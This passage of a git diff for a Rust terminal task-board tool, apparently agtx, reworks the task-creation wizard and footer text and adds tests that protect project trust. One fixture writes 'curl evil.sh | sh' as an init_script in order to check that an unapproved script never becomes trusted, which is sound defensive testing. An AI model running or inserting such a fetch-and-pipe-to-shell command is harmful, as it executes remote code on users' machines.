s.style))+ .collect()+ };+ lines.extend(wrap_spans(spans, wrap_width));+ }+ frame.render_widget(Paragraph::new(Text::from(lines)), inner);+ }++ // No prefix any more: the field's own border is the label, so the caret+ // starts at column 0 of the inner area.+ let (col, row) = wrapped_cursor_pos(input.as_str(), input.cursor, 0, inner.width as usize);+ let x = inner.x.saturating_add(col as u16);+ let y = inner.y.saturating_add(row as u16);+ if x < inner.x + inner.width && y < inner.y + inner.height {+ frame.set_cursor_position((x, y));+ }+}++/// A pick-one list with a scrollbar and, when filtering, the pattern in its+/// border.+///+/// Ratatui's own `List` does the scrolling, so the selection stays in view and+/// the scrollbar shows how much more there is.+fn draw_wizard_list(+ title: &str,+ list: &super::wizard::ListPick,+ state: &AppState,+ frame: &mut Frame,+ area: Rect,+) {+ let selected = hex_to_color(&state.config.theme.color_selected);+ let text_color = hex_to_color(&state.config.theme.color_text);+ let dimmed = hex_to_color(&state.config.theme.color_description);+ let accent = hex_to_color(&state.config.theme.color_accent);++ let block_title = match list.filter.as_ref() {+ Some(filter) => format!(" {title} /{}β", filter.as_str()),+ None => format!(" {title} "),+ };+ let block = Block::default()+ .title(block_title)+ .borders(Borders::ALL)+ .padding(Padding::horizontal(1))+ .border_style(Style::default().fg(accent));+ let inner = block.inner(area);+ frame.render_widget(block, area);++ let visible = list.matching();+ if visible.is_empty() {+ frame.render_widget(+ Paragraph::new(Line::from(Span::styled(+ "Nothing matches that.".to_string(),+ Style::default().fg(dimmed),+ ))),+ inner,+ );+ return;+ }++ let items: Vec<ListItem> = visible+ .iter()+ .map(|i| {+ let option = &list.options[*i];+ let is_selected = *i == list.selected;+ let name_style = if is_selected {+ Style::default().fg(selected).add_modifier(Modifier::BOLD)+ } else {+ Style::default().fg(text_color)+ };+ let mut spans = vec![+ Span::styled(+ if is_selected { "βΊ " } else { " " }.to_string(),+ name_style,+ ),+ Span::styled(+ format!("{:<14}", truncate_str(&option.label, 14)),+ name_style,+ ),+ ];+ if option.active {+ spans.push(Span::styled(+ "β ".to_string(),+ Style::default().fg(Color::Green),+ ));+ } else {+ spans.push(Span::raw(" ".to_string()));+ }+ spans.push(Span::styled(+ option.description.clone(),+ Style::default().fg(dimmed),+ ));+ ListItem::new(Line::from(spans))+ })+ .collect();++ let mut list_state = ListState::default().with_selected(Some(list.position()));+ frame.render_stateful_widget(List::new(items), inner, &mut list_state);++ if visible.len() > inner.height as usize {+ let mut scrollbar_state = ScrollbarState::new(visible.len()).position(list.position());+ // Inset to the rows the list actually occupies. Handed the whole `area`+ // the track starts on the block's top border and eats its corners.+ let track = Rect {+ y: area.y + 1,+ height: area.height.saturating_sub(2),+ ..area+ };+ frame.render_stateful_widget(+ Scrollbar::new(ScrollbarOrientation::VerticalRight)+ .begin_symbol(None)+ .end_symbol(None)+ .style(Style::default().fg(dimmed)),+ track,+ &mut scrollbar_state,+ );+ }+}diff --git a/src/tui/app_tests.rs b/src/tui/app_tests.rsindex d2e1cf9..fe03905 100644--- a/src/tui/app_tests.rs+++ b/src/tui/app_tests.rs@@ -68,44 +68,40 @@ fn styled_footer_emphasizes_shortcuts_without_changing_text() {#[test]fn footer_groups_related_shortcuts() {- let text = build_footer_text(InputMode::Normal, false, 1, false, false);- assert!(text.contains("search Β· [Enter] open"));- assert!(text.contains("[m] run Β· [x] delete"));-}--#[test]-fn wizard_plugin_descriptions_wrap_and_align() {- let lines = wizard_plugin_option_lines(- " > ",- "agtx",- "A deliberately long plugin description that must stay inside the wizard",- " β",- Style::default(),- Style::default(),- 42,- );-- assert!(lines.len() > 1);- for line in &lines {- assert!(- line.width() <= 40,- "line reached the right margin: {:?}",- line- );+ let text = build_footer_text(None, false, 1, false, false);+ assert!(text.contains("[d] diff Β· [m] run"), "{text}");+ assert!(text.contains("Β· [?] help [q] quit"), "{text}");+}++/// The footer is a summary now, not the list. It had reached 155 characters and+/// was being truncated on a 150-column terminal, which hid whichever bindings+/// happened to be last.+#[test]+fn every_footer_fits_a_narrow_terminal() {+ for cyclic in [false, true] {+ for fullscreen in [false, true] {+ for column in 0..=4 {+ let text = build_footer_text(None, false, column, cyclic, fullscreen);+ assert!(+ text.chars().count() <= 120,+ "column {column} is {} chars: {text}",+ text.chars().count()+ );+ }+ }}- let continuation: String = lines[1]- .spans- .iter()- .map(|span| span.content.as_ref())- .collect();- assert!(continuation.starts_with(&" ".repeat(20)));}+/// Whatever else it drops, it always says how to find the rest.#[test]-fn wizard_plugin_scroll_keeps_late_selection_visible() {- assert_eq!(wizard_plugin_scroll_offset(30, 10, 24..27), 17);- assert_eq!(wizard_plugin_scroll_offset(30, 10, 4..7), 0);- assert_eq!(wizard_plugin_scroll_offset(8, 10, 6..8), 0);+fn every_footer_points_at_the_help_overlay() {+ for cyclic in [false, true] {+ for column in 0..=4 {+ let text = build_footer_text(None, false, column, cyclic, false);+ assert!(text.contains("[?] help"), "column {column}: {text}");+ }+ }+ assert!(build_footer_text(None, true, 0, false, false).contains("[?] help"));}/// Test that generate_pr_description correctly combines git diff and agent-generated text@@ -800,10 +796,9 @@ fn test_fuzzy_score_consecutive_bonus() {// =============================================================================// Tests for popup key translation//-// These used to assert against a mock `TmuxOperations`, because a keystroke went-// straight out as a `send-keys` subprocess. Translation is now a pure function-// and delivery is `tmux::input`'s job, so the key names β the part agents-// actually depend on β are pinned here without a mock in sight.+// Translation is a pure function and delivery is `tmux::input`'s job, so the key+// names β the part agents actually depend on β are pinned here without a mock in+// sight.// =============================================================================#[cfg(test)]@@ -878,10 +873,9 @@ fn an_unreadable_window_listing_never_marks_a_task_exited() {assert!(!window_is_gone(Some("pj:t1"), Some(&live)));assert!(window_is_gone(Some("pj:gone"), Some(&live)));- // The direction that matters. One listing now answers for every task, so a- // failed listing read as "no windows" would mark the whole board `Exited` β- // a visible, wrong status change β where the per-task check it replaced- // failed safe (`!window_exists(sn).unwrap_or(true)`).+ // The direction that matters. One listing answers for every task, so a+ // failed listing read as "no windows" would mark the whole board `Exited`:+ // a visible, wrong status change. Unknown has to stay unknown.assert!(!window_is_gone(Some("pj:t1"), None),"an unreadable listing must mean unknown, not gone"@@ -1023,11 +1017,10 @@ fn the_interval_becomes_a_rate_limit_under_push() {#[test]fn output_is_sampled_slower_than_a_keystroke_echo() {use std::time::Duration;- // The two reasons to capture deserve different answers. Sharing one made a- // pane painting flat out cost more than the polling it replaced: a capture+ // The two reasons to capture deserve different answers. One shared ceiling+ // makes a pane painting flat out cost more than polling would: a capture// makes the tmux server format the whole pane, so capturing every frame is- // expensive where nobody is watching for one. The polling had been protected- // by its own slowness β one `capture-pane` process per capture.+ // expensive where nobody is watching for one.assert!(PANE_OUTPUT_MIN_INTERVAL > SHELL_REFRESH_INTERVAL);// Nobody is waiting on one frame of an agent's output.@@ -1088,8 +1081,8 @@ fn the_output_watch_is_reused_only_within_one_session() {#[test]fn the_transition_queue_paces_itself() {- // A SQLite query that used to run on every housekeeping tick β ten times a- // second, forever, whether or not anything was connected. A transition is a+ // A SQLite query, so it does not belong on the housekeeping tick β ten times+ // a second, forever, whether or not anything is connected. A transition is a// request to move a task between columns, acted on against a phase status// that is itself only as fresh as its cache, so polling the queue faster// than that cache buys nothing.@@ -1099,10 +1092,10 @@ fn the_transition_queue_paces_itself() {#[test]fn nothing_on_the_board_animates() {- // The `Working` indicator used to be a spinner, and on an otherwise idle- // board it was the *only* thing forcing a redraw β ten a second, forever, to- // rotate a glyph. Every indicator is now static, so a board with running- // tasks asks for no frame at all between real changes. If a future indicator+ // Every indicator is static. A spinner on an otherwise idle board would be+ // the *only* thing forcing a redraw β ten a second, forever, to rotate a+ // glyph β so a board with running tasks asks for no frame at all between+ // real changes. If a future indicator// animates, `run_housekeeping` has to start reporting a change again, and// the idle cost comes back with it.let src = include_str!("app.rs");@@ -1188,7 +1181,7 @@ fn the_waits_release_the_lock_before_returning() {let watch = PaneWatch::default();watch.follow(Some("pj:t1"), SHELL_POPUP_TAIL_LINES);- // The arm that used to keep its guard: a poke already landed, so the wait is+ // The arm that keeps its guard: a poke already landed, so the wait is// skipped entirely rather than handed to `wait_timeout`.watch.poke();let outcome = watch@@ -1341,7 +1334,7 @@ fn the_popup_capture_prefers_the_input_connection() {/// And falls back untouched when it does not: control mode is off, the/// connection is down, or the queue is full. A missed capture costs one frame at-/// the old speed, never a blank popup.+/// the fallback's speed, never a blank popup.#[test]#[cfg(feature = "test-mocks")]fn the_popup_capture_falls_back_to_the_subprocess_path() {@@ -1779,122 +1772,21 @@ fn test_build_highlighted_text_path_is_entire_line() {.contains(Modifier::BOLD));}-// =============================================================================-// Tests for word_boundary_left / word_boundary_right-// =============================================================================--/// Test word_boundary_left from end of string-#[test]-fn test_word_boundary_left_from_end() {- assert_eq!(word_boundary_left("hello world", 11), 6);-}--/// Test word_boundary_left skips to previous word-#[test]-fn test_word_boundary_left_between_words() {- assert_eq!(word_boundary_left("hello world", 6), 0);-}--/// Test word_boundary_left from middle of word-#[test]-fn test_word_boundary_left_mid_word() {- assert_eq!(word_boundary_left("hello world", 8), 6);-}--/// Test word_boundary_left at start stays at 0-#[test]-fn test_word_boundary_left_at_start() {- assert_eq!(word_boundary_left("hello", 0), 0);-}--/// Test word_boundary_left with multiple spaces-#[test]-fn test_word_boundary_left_multiple_spaces() {- assert_eq!(word_boundary_left("hello world", 13), 8);-}--/// Test word_boundary_left with path separators-#[test]-fn test_word_boundary_left_path() {- // From end of "src/main.rs", should jump back over "rs"- assert_eq!(word_boundary_left("src/main.rs", 11), 9);-}--/// Test word_boundary_right from start of string-#[test]-fn test_word_boundary_right_from_start() {- assert_eq!(word_boundary_right("hello world", 0), 6);-}--/// Test word_boundary_right from space between words-#[test]-fn test_word_boundary_right_from_space() {- assert_eq!(word_boundary_right("hello world", 5), 6);-}--/// Test word_boundary_right from middle of word-#[test]-fn test_word_boundary_right_mid_word() {- assert_eq!(word_boundary_right("hello world", 3), 6);-}--/// Test word_boundary_right at end stays at end-#[test]-fn test_word_boundary_right_at_end() {- assert_eq!(word_boundary_right("hello", 5), 5);-}--/// Test word_boundary_right with multiple spaces-#[test]-fn test_word_boundary_right_multiple_spaces() {- assert_eq!(word_boundary_right("hello world", 0), 8);-}--/// Test word_boundary_right with path separators-#[test]-fn test_word_boundary_right_path() {- // From start of "src/main.rs", should jump over "src" then the separator- assert_eq!(word_boundary_right("src/main.rs", 0), 4);-}--/// Test word_boundary_left with empty string-#[test]-fn test_word_boundary_left_empty() {- assert_eq!(word_boundary_left("", 0), 0);-}--/// Test word_boundary_right with empty string-#[test]-fn test_word_boundary_right_empty() {- assert_eq!(word_boundary_right("", 0), 0);-}--/// Test word_boundary roundtrip: jumping right then left returns close to start-#[test]-fn test_word_boundary_roundtrip() {- let s = "hello world foo";- let pos = word_boundary_right(s, 0); // -> 6 (start of "world")- let pos = word_boundary_right(s, pos); // -> 12 (start of "foo")- let pos = word_boundary_left(s, pos); // -> 6 (start of "world")- let pos = word_boundary_left(s, pos); // -> 0 (start of "hello")- assert_eq!(pos, 0);-}-// =============================================================================// Tests for build_footer_text// =============================================================================#[test]fn test_footer_text_sidebar_focused() {- let text = build_footer_text(InputMode::Normal, true, 0, false, false);+ let text = build_footer_text(None, true, 0, false, false);assert!(text.contains("[j/k] navigate"));- assert!(text.contains("[e] hide sidebar"));+ assert!(text.contains("[e] hide"));assert!(!text.contains("[o] new"));}#[test]fn test_footer_text_backlog_column() {- let text = build_footer_text(InputMode::Normal, false, 0, false, false);+ let text = build_footer_text(None, false, 0, false, false);assert!(text.contains("[M] run"));assert!(text.contains("[m] plan"));assert!(!text.contains("[r] move left"));@@ -1902,7 +1794,7 @@ fn test_footer_text_backlog_column() {#[test]fn test_footer_text_planning_column() {- let text = build_footer_text(InputMode::Normal, false, 1, false, false);+ let text = build_footer_text(None, false, 1, false, false);assert!(text.contains("[m] run"));assert!(!text.contains("[M] run"));assert!(!text.contains("[r] move left"));@@ -1910,8 +1802,8 @@ fn test_footer_text_planning_column() {#[test]fn test_footer_text_running_column() {- let text = build_footer_text(InputMode::Normal, false, 2, false, false);- assert!(text.contains("[r] move back"));+ let text = build_footer_text(None, false, 2, false, false);+ assert!(text.contains("[r] back"));assert!(text.contains("[m] move"));}@@ -1919,7 +1811,7 @@ fn test_footer_text_running_column() {fn test_footer_text_fullscreen_on_enter_hides_ctrl_f() {// Columns 1-3 should hide [C-f] when fullscreen_on_enter is truefor col in 1..=3 {- let text = build_footer_text(InputMode::Normal, false, col, false, true);+ let text = build_footer_text(None, false, col, false, true);assert!(!text.contains("[C-f]"),"Column {} should hide [C-f] when fullscreen_on_enter=true",@@ -1928,7 +1820,7 @@ fn test_footer_text_fullscreen_on_enter_hides_ctrl_f() {}// And show it when falsefor col in 1..=3 {- let text = build_footer_text(InputMode::Normal, false, col, false, false);+ let text = build_footer_text(None, false, col, false, false);assert!(text.contains("[C-f]"),"Column {} should show [C-f] when fullscreen_on_enter=false",@@ -1939,14 +1831,14 @@ fn test_footer_text_fullscreen_on_enter_hides_ctrl_f() {#[test]fn test_footer_text_review_column() {- let text = build_footer_text(InputMode::Normal, false, 3, false, false);- assert!(text.contains("[r] move back"));+ let text = build_footer_text(None, false, 3, false, false);+ assert!(text.contains("[r] back"));assert!(text.contains("[m] move"));}#[test]fn test_footer_text_review_column_cyclic() {- let text = build_footer_text(InputMode::Normal, false, 3, true, false);+ let text = build_footer_text(None, false, 3, true, false);assert!(text.contains("[p] next phase"));assert!(text.contains("[r] resume"));assert!(text.contains("[m] done"));@@ -1954,7 +1846,7 @@ fn test_footer_text_review_column_cyclic() {#[test]fn test_footer_text_done_column() {- let text = build_footer_text(InputMode::Normal, false, 4, false, false);+ let text = build_footer_text(None, false, 4, false, false);assert!(!text.contains("[m] move"));assert!(!text.contains("[r]"));assert!(!text.contains("[d] diff"));@@ -1962,18 +1854,20 @@ fn test_footer_text_done_column() {#[test]fn test_footer_text_input_title() {- let text = build_footer_text(InputMode::InputTitle, false, 0, false, false);+ let text = build_footer_text(Some(WizardStep::Title), false, 0, false, false);assert!(text.contains("Enter task title"));assert!(text.contains("[Esc] cancel"));}#[test]fn test_footer_text_input_description() {- let text = build_footer_text(InputMode::InputDescription, false, 0, false, false);+ let text = build_footer_text(Some(WizardStep::Prompt), false, 0, false, false);assert!(text.contains("[#] files"));assert!(text.contains("[/] skills"));assert!(text.contains("[!] tasks"));assert!(text.contains("[\\+Enter] newline"));+ assert!(text.contains("[S-Tab] back"));+ assert!(text.contains("[Esc] cancel"));}// =============================================================================@@ -2951,7 +2845,7 @@ fn test_bundled_plugins_list() {fn test_plugin_select_popup_construction_no_active() {// When no plugin is active, agtx should be selectedlet current = "";- let mut options = vec![PluginOption {+ let mut options = vec![PickOption {name: String::new(),label: "agtx".to_string(),description: "Built-in workflow with skills and prompts".to_string(),@@ -2961,7 +2855,7 @@ fn test_plugin_select_popup_construction_no_active() {if *name == "agtx" {continue;}- options.push(PluginOption {+ options.push(PickOption {name: name.to_string(),label: name.to_string(),description: desc.to_string(),@@ -2978,7 +2872,7 @@ fn test_plugin_select_popup_construction_no_active() {#[test]fn test_plugin_select_popup_construction_gsd_active() {let current = "gsd";- let mut options = vec![PluginOption {+ let mut options = vec![PickOption {name: String::new(),label: "agtx".to_string(),description: "Built-in workflow with skills and prompts".to_string(),@@ -2988,7 +2882,7 @@ fn test_plugin_select_popup_construction_gsd_active() {if *name == "agtx" {continue;}- options.push(PluginOption {+ options.push(PickOption {name: name.to_string(),label: name.to_string(),description: desc.to_string(),@@ -3074,7 +2968,7 @@ fn test_install_plugin_none_clears_config() {#[test]fn test_footer_text_backlog_includes_research() {- let text = build_footer_text(InputMode::Normal, false, 0, false, false);+ let text = build_footer_text(None, false, 0, false, false);assert!(text.contains("[R] research"));}@@ -4031,7 +3925,7 @@ fn test_determine_phase_variant_review_passthrough() {#[test]fn test_footer_text_review_non_cyclic_no_next_phase() {- let text = build_footer_text(InputMode::Normal, false, 3, false, false);+ let text = build_footer_text(None, false, 3, false, false);assert!(!text.contains("[p] next phase"));assert!(text.contains("[m] move"));}@@ -4476,9 +4370,9 @@ fn test_send_skill_and_prompt_codex_combined() {assert_eq!(pasted.len(), 1, "exactly one paste");assert!(pasted[0].contains("$agtx-plan") && pasted[0].contains("do the thing"));- // Codex used to need a second Enter to dismiss its `$skill` command picker.- // That picker opens on *typing*, not on a paste, so with bracketed paste there- // is nothing to dismiss and a second Enter would fire into an empty composer.+ // Codex's `$skill` command picker opens on *typing*, not on a paste, so with+ // bracketed paste there is nothing to dismiss and a second Enter would fire+ // into an empty composer.// Verified against codex-cli 0.144.5.let calls = literal_calls.lock().unwrap();assert_eq!(@@ -5014,6 +4908,115 @@ fn redirect_data_dir() -> std::sync::MutexGuard<'static, ()> {guard}+/// Point `TrustStore` at a throwaway config root.+///+/// `App::new` reads the trust store and `install_plugin` writes it, so without+/// the redirect the suite touches the real user's `trusted_projects.toml` and+/// leaves entries keyed by temp dirs that are gone by the time the test+/// returns. Same reasoning as `redirect_data_dir`, and the lock is needed for+/// the same reason: the target is process-global.+///+/// Hold the returned guard for the duration of the test.+#[cfg(feature = "test-mocks")]+fn redirect_config_dir() -> std::sync::MutexGuard<'static, ()> {+ static CONFIG_DIR: std::sync::OnceLock<tempfile::TempDir> = std::sync::OnceLock::new();+ static LOCK: std::sync::Mutex<()> = std::sync::Mutex::new(());+ // A panicking test poisons the lock; the data is unit, so recover and carry on.+ let guard = LOCK.lock().unwrap_or_else(|e| e.into_inner());+ let dir = CONFIG_DIR.get_or_init(|| tempfile::tempdir().unwrap());+ std::env::set_var("AGTX_CONFIG_DIR", dir.path());+ guard+}++/// Build an App rooted at a real on-disk project directory.+///+/// `install_plugin` reads and writes `.agtx/config.toml` through the+/// filesystem, so it needs a path that exists β unlike `make_test_app`, whose+/// `/tmp/test-project` never does.+#[cfg(feature = "test-mocks")]+fn make_test_app_at(project: &std::path::Path) -> App {+ let mut mock_tmux = MockTmuxOperations::new();+ mock_tmux.expect_window_exists().returning(|_| Ok(false));+ mock_tmux.expect_has_session().returning(|_| false);++ App::new_for_test(+ Some(project.to_path_buf()),+ Arc::new(mock_tmux),+ Arc::new(MockGitOperations::new()),+ Arc::new(MockGitProviderOperations::new()),+ Arc::new(MockAgentRegistry::new()),+ )+ .unwrap()+}++/// Picking a workflow plugin writes `.agtx/config.toml`, and trust *is* a hash+/// of that file β so before the re-trust this silently untrusted the project+/// and cost it its `init_script` on the next launch.+#[test]+#[cfg(feature = "test-mocks")]+fn install_plugin_keeps_a_trusted_project_trusted() {+ let _guard = redirect_config_dir();+ let dir = tempfile::tempdir().unwrap();+ let project = dir.path();+ std::fs::create_dir_all(project.join(".agtx")).unwrap();+ std::fs::write(+ project.join(".agtx/config.toml"),+ "init_script = \"echo hi\"\n",+ )+ .unwrap();++ let mut store = crate::config::TrustStore::load().unwrap();+ store.trust_project(project).unwrap();+ assert!(+ store.is_trusted(project),+ "precondition: project is trusted"+ );++ let mut app = make_test_app_at(project);+ app.install_plugin("gsd").unwrap();++ let store = crate::config::TrustStore::load().unwrap();+ assert!(+ store.is_trusted(project),+ "picking a plugin must not untrust the project"+ );+ // And the write it was there to make actually happened.+ let cfg = crate::config::ProjectConfig::load(project).unwrap();+ assert_eq!(cfg.workflow_plugin.as_deref(), Some("gsd"));+}++/// The guard on the re-trust: agtx restores a decision the user already made,+/// it never makes one. A project whose `init_script` was never vouched for must+/// not become trusted just because agtx touched its config.+#[test]+#[cfg(feature = "test-mocks")]+fn install_plugin_does_not_trust_an_untrusted_project() {+ let _guard = redirect_config_dir();+ let dir = tempfile::tempdir().unwrap();+ let project = dir.path();+ std::fs::create_dir_all(project.join(".agtx")).unwrap();+ std::fs::write(+ project.join(".agtx/config.toml"),+ "init_script = \"curl evil.sh | sh\"\n",+ )+ .unwrap();++ let store = crate::config::TrustStore::load().unwrap();+ assert!(+ !store.is_trusted(project),+ "precondition: never-approved config is untrusted"+ );++ let mut app = make_test_app_at(project);+ app.install_plugin("gsd").unwrap();++ let store = crate::config::TrustStore::load().unwrap();+ assert!(+ !store.is_trusted(project),+ "agtx writing the config must not vouch for a script the user never approved"+ );+}+#[test]fn test_write_skills_to_worktree_mcp_antigravity() {let dir = tempfile::tempdir().unwrap();@@ -5364,6 +5367,81 @@ fn make_test_app() -> App {.unwrap()}+/// The wizard's active text field β the title on the title step, the prompt on+/// the prompt step. Tests assert against whichever one they opened.+#[cfg(feature = "test-mocks")]+fn wiz(app: &App) -> &TextInput {+ app.state+ .wizard+ .as_ref()+ .expect("no wizard open")+ .active_input()+ .expect("the plugin step has no text field")+}++#[cfg(feature = "test-mocks")]+fn wiz_mut(app: &mut App) -> &mut TextInput {+ app.state+ .wizard+ .as_mut()+ .expect("no wizard open")+ .active_input_mut()+ .expect("the plugin step has no text field")+}++/// A wizard already filled in, for tests about `save_task` rather than about+/// the flow that reaches it.+#[cfg(feature = "test-mocks")]+fn filled_wizard(+ title: &str,+ prompt: &str,+ plugin: &str,+ editing: Option<&str>,+) -> crate::tui::wizard::WizardState {+ let mut wizard = match editing {+ Some(id) => crate::tui::wizard::WizardState::editing(id, title),+ None => {+ let mut w = crate::tui::wizard::WizardState::creating();+ w.title.set_text(title);+ w+ }+ };+ wizard.prompt.set_text(prompt);+ wizard.plugin.options = vec![PickOption::new(plugin, plugin, "", true)];+ wizard.plugin.selected = 0;+ wizard+}++/// Walk the wizard forward until it reaches `step`.+///+/// Which optional steps a flow includes depends on how many agents and plugins+/// are installed, so counting `Enter` presses is brittle β a test about the+/// prompt should not break because an agent step appeared before it.+#[cfg(feature = "test-mocks")]+fn advance_to(app: &mut App, step: WizardStep) {+ for _ in 0..6 {+ if app.state.wizard_step() == Some(step) {+ return;+ }+ press_key(app, KeyCode::Enter);+ }+ panic!(+ "wizard never reached {step:?}; stopped at {:?}",+ app.state.wizard_step()+ );+}++/// Open the wizard straight on its prompt step, for tests about the prompt+/// itself rather than about getting there.+#[cfg(feature = "test-mocks")]+fn open_prompt_step(app: &mut App) {+ let mut wizard = crate::tui::wizard::WizardState::creating();+ wizard.title.set_text("test task");+ wizard.advance();+ assert_eq!(wizard.step(), WizardStep::Prompt);+ app.state.wizard = Some(wizard);+}+/// Helper: simulate a key press on the App.#[cfg(feature = "test-mocks")]fn press_key(app: &mut App, code: KeyCode) {@@ -5423,29 +5501,33 @@ fn test_create_task_full_flow() {let mut app = make_test_app();// Start in Normal mode, board is empty- assert_eq!(app.state.input_mode, InputMode::Normal);+ assert_eq!(app.state.wizard_step(), None);assert!(app.state.board.tasks.is_empty());// Press 'o' to start task creationpress_key(&mut app, KeyCode::Char('o'));- assert_eq!(app.state.input_mode, InputMode::InputTitle);+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Title));// Type a titletype_str(&mut app, "Fix login bug");- assert_eq!(app.state.input_buffer, "Fix login bug");+ assert_eq!(wiz(&app).buffer, "Fix login bug");// Press Enter to move to descriptionpress_key(&mut app, KeyCode::Enter);- assert_eq!(app.state.input_mode, InputMode::InputDescription);- assert_eq!(app.state.pending_task_title, "Fix login bug");- assert!(app.state.input_buffer.is_empty());+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Prompt));+ assert_eq!(+ app.state.wizard.as_ref().unwrap().title.as_str(),+ "Fix login bug",+ "the title is kept, not moved out into a side field"+ );+ assert!(wiz(&app).buffer.is_empty());// Type a descriptiontype_str(&mut app, "Users report 500 error on the login page");// Press Enter to savepress_key(&mut app, KeyCode::Enter);- assert_eq!(app.state.input_mode, InputMode::Normal);+ assert_eq!(app.state.wizard_step(), None);// Task should now be in the boardassert_eq!(app.state.board.tasks.len(), 1);@@ -5483,7 +5565,7 @@ fn test_create_task_cancel_with_esc() {type_str(&mut app, "Abandoned task");press_key(&mut app, KeyCode::Esc);- assert_eq!(app.state.input_mode, InputMode::Normal);+ assert_eq!(app.state.wizard_step(), None);assert!(app.state.board.tasks.is_empty());}@@ -5659,55 +5741,1000 @@ fn make_test_app_with_agents() -> App {#[test]#[cfg(feature = "test-mocks")]-fn test_merge_conflict_checked_guard() {- let mut app = make_test_app();- let task_id = "test-task-123".to_string();+fn test_merge_conflict_checked_guard() {+ let mut app = make_test_app();+ let task_id = "test-task-123".to_string();++ // Initially not checked+ assert!(!app.state.merge_conflict_checked.contains(&task_id));++ // After inserting, should be guarded+ app.state.merge_conflict_checked.insert(task_id.clone());+ assert!(app.state.merge_conflict_checked.contains(&task_id));++ // Clear resets the guard+ app.state.merge_conflict_checked.clear();+ assert!(!app.state.merge_conflict_checked.contains(&task_id));+}++#[test]+#[cfg(feature = "test-mocks")]+fn test_wizard_plugin_selection() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "Test task");+ advance_to(&mut app, WizardStep::Plugin);+ assert!(!app.state.wizard.as_ref().unwrap().plugin.options.is_empty());++ // Navigate down+ let initial = app.state.wizard.as_ref().unwrap().plugin.selected;+ press_key(&mut app, KeyCode::Char('j'));+ assert_eq!(+ app.state.wizard.as_ref().unwrap().plugin.selected,+ initial + 1+ );++ // Advance to description+ press_key(&mut app, KeyCode::Enter);+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Prompt));+}++/// The wizard's text fields share one editor, reached through each handler's+/// fallback arm. These pin the two places that ordering matters.+#[test]+#[cfg(feature = "test-mocks")]+fn alt_word_motion_in_the_title_field_moves_rather_than_typing() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "hello world");++ app.handle_key(key_event(KeyCode::Char('b'), KeyModifiers::ALT))+ .unwrap();+ assert_eq!(wiz(&app).cursor, 6);+ assert_eq!(+ wiz(&app).buffer,+ "hello world",+ "Alt+b must not insert a literal b"+ );++ app.handle_key(key_event(KeyCode::Char('f'), KeyModifiers::ALT))+ .unwrap();+ assert_eq!(wiz(&app).cursor, 11);+ assert_eq!(wiz(&app).buffer, "hello world");+}++/// The prompt field gives `#`, `/` and `!` their own meanings, so its editing+/// keys are reached through a fallback arm *below* those guards.+#[test]+#[cfg(feature = "test-mocks")]+fn editing_keys_in_the_prompt_field_survive_the_trigger_guards() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "Title");+ advance_to(&mut app, WizardStep::Prompt);++ type_str(&mut app, "fix the thing");+ app.handle_key(key_event(KeyCode::Char('b'), KeyModifiers::ALT))+ .unwrap();+ assert_eq!(wiz(&app).cursor, 8, "Alt+b lands at the start of 'thing'");+ assert_eq!(wiz(&app).buffer, "fix the thing");++ app.handle_key(key_event(KeyCode::Backspace, KeyModifiers::ALT))+ .unwrap();+ assert_eq!(wiz(&app).buffer, "fix thing");++ press_key(&mut app, KeyCode::Home);+ assert_eq!(wiz(&app).cursor, 0);+ press_key(&mut app, KeyCode::End);+ assert_eq!(wiz(&app).cursor, 9);+ press_key(&mut app, KeyCode::Backspace);+ assert_eq!(wiz(&app).buffer, "fix thin");+}++/// The chords that need no negotiation from the terminal. `Shift+Enter` is not+/// among them: a bare CR is all a terminal sends for both it and Enter unless+/// the Kitty protocol is in play, so binding it would mostly read as "save".+#[test]+#[cfg(feature = "test-mocks")]+fn every_newline_chord_inserts_instead_of_saving() {+ for (code, modifiers) in [+ (KeyCode::Char('j'), KeyModifiers::CONTROL),+ (KeyCode::Enter, KeyModifiers::ALT),+ ] {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "Title");+ advance_to(&mut app, WizardStep::Prompt);++ type_str(&mut app, "first");+ app.handle_key(key_event(code, modifiers)).unwrap();+ type_str(&mut app, "second");++ assert_eq!(+ wiz(&app).as_str(),+ "first\nsecond",+ "{code:?}+{modifiers:?} should have inserted a newline"+ );+ assert_eq!(+ app.state.wizard_step(),+ Some(WizardStep::Prompt),+ "{code:?}+{modifiers:?} must not submit"+ );+ assert!(app.state.board.tasks.is_empty());+ }+}++/// Enter saves. A `Shift+Enter` that the terminal could not distinguish arrives+/// here as exactly this, and saving is the honest outcome β the alternative is+/// a binding that silently does nothing on most terminals.+#[test]+#[cfg(feature = "test-mocks")]+fn a_bare_enter_in_the_prompt_saves() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "Title");+ advance_to(&mut app, WizardStep::Prompt);+ type_str(&mut app, "body");++ press_key(&mut app, KeyCode::Enter);+ assert!(app.state.wizard.is_none());+ assert_eq!(app.state.board.tasks.len(), 1);+}++/// `Ctrl+J` moves the cursor while a picker is open; it only means "newline"+/// when nothing has claimed it first.+#[test]+#[cfg(feature = "test-mocks")]+fn ctrl_j_navigates_an_open_picker_rather_than_inserting() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "Title");+ advance_to(&mut app, WizardStep::Prompt);++ type_str(&mut app, "see !");+ assert!(app.state.task_ref_search.is_some(), "the picker is open");+ let before = wiz(&app).as_str().to_string();++ app.handle_key(key_event(KeyCode::Char('j'), KeyModifiers::CONTROL))+ .unwrap();+ assert_eq!(+ wiz(&app).as_str(),+ before,+ "no newline, and no literal j, while the picker owns it"+ );+ assert!(app.state.task_ref_search.is_some(), "the picker stays open");+}++/// A chord no picker claims is not text. Before the guard, `Ctrl+X` in a picker+/// typed a literal "x" into both the pattern and the prompt.+#[test]+#[cfg(feature = "test-mocks")]+fn an_unclaimed_chord_is_not_typed_into_a_picker() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "Title");+ advance_to(&mut app, WizardStep::Prompt);++ type_str(&mut app, "see !");+ let before = wiz(&app).as_str().to_string();++ for modifiers in [KeyModifiers::CONTROL, 